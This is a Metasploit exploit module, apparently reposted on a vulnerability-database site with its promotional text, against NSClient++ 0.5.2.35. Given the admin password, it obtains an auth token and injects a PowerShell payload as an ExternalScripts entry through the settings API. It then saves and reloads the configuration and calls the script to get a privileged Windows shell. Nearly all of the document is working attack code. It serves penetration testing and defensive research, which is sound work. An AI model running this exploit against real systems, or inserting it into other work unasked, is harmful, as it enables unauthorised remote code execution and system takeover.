`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include ::Msf::Exploit::Remote::HttpClient
include ::Msf::Exploit::CmdStager
include ::Msf::Exploit::Powershell
prepend ::Msf::Exploit::Remote::AutoCheck
include ::Rex::Text
def initialize(info = {})
super(
update_info(
info,
'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',
'Description' => %q{
This module allows an attacker with knowledge of the admin password of NSClient++
to start a privilege shell.
For this module to work, both web interface of NSClient++ and `ExternalScripts` feature
should be enabled.
},
'License' => MSF_LICENSE,
'Author' =>
[
'kindredsec', # POC on www.exploit-db.com
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['EDB', '48360']
],
'Platform' => %w[windows],
'Arch' => [ARCH_X64],
'Targets' =>
[
[
'Windows',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-10-20',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultOptions' => { 'SSL' => true }
)
)
register_options [
Opt::RPORT(8443),
OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])
]
end
def configure_payload(token, cmd, key)
print_status('Configuring Script with Specified Payload . . .')
plugin_id = rand(1..10000).to_s
node = {
'path' => '/settings/external scripts/scripts',
'key' => key
}
value = { 'string_data' => cmd }
update = { 'node' => node, 'value' => value }
payload = [
{
'plugin_id' => plugin_id,
'update' => update
}
]
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }
r = send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
if !(r&.body.to_s.include? 'STATUS_OK')
print_error('Error configuring payload. Hit error at: ' + endpoint)
end
print_status('Added External Script (name: ' + key + ')')
sleep(3)
print_status('Saving Configuration . . .')
header = { 'version' => '1' }
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }
send_request_cgi({
'method' => 'POST',
'data' => JSON.generate(json_data),
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/settings/query.json')
})
end
def reload_config(token)
print_status('Reloading Application . . .')
send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/core/reload')
})
print_status('Waiting for Application to reload . . .')
sleep(10)
response = false
count = 0
until response
begin
sleep(2)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/')
})
if !r.body.empty?
response = true
end
rescue StandardError
count += 1
if count > 10
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')
end
end
end
end
def trigger_payload(token, key)
print_status('Triggering payload, should execute shortly . . .')
send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri("/query/#{key}")
})
rescue StandardError => e
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")
end
def external_scripts_feature_enabled?(token)
r = send_request_cgi({
'method' => 'GET',
'headers' => { 'TOKEN' => token },
'uri' => normalize_uri('/registry/control/module/load'),
'vars_get' => { 'name' => 'CheckExternalScripts' }
})
r&.body.to_s.include? 'STATUS_OK'
end
def get_auth_token
r = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD'])
})
if r.code == 200
begin
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]
return auth_token
rescue StandardError
:no_token_found
end
else
:wrong_password
end
rescue StandardError
:failed_to_connect
end
def check
token = get_auth_token
if token == :failed_to_connect
CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host")
elsif token == :wrong_password
CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')
elsif token == :no_token_found
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')
else
print_good('Got auth token: ' + token)
if external_scripts_feature_enabled?(token)
CheckCode::Vulnerable('External scripts feature enabled !')
else
CheckCode::Safe('External scripts feature disabled !')
end
end
end
def exploit
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)
token = get_auth_token
if token != :failed_to_connect && token != :wrong_password && token != :no_token_found
rand_key = rand_text_alpha_lower(10)
configure_payload(token, cmd, rand_key)
reload_config(token)
token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted
trigger_payload(token, rand_key)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation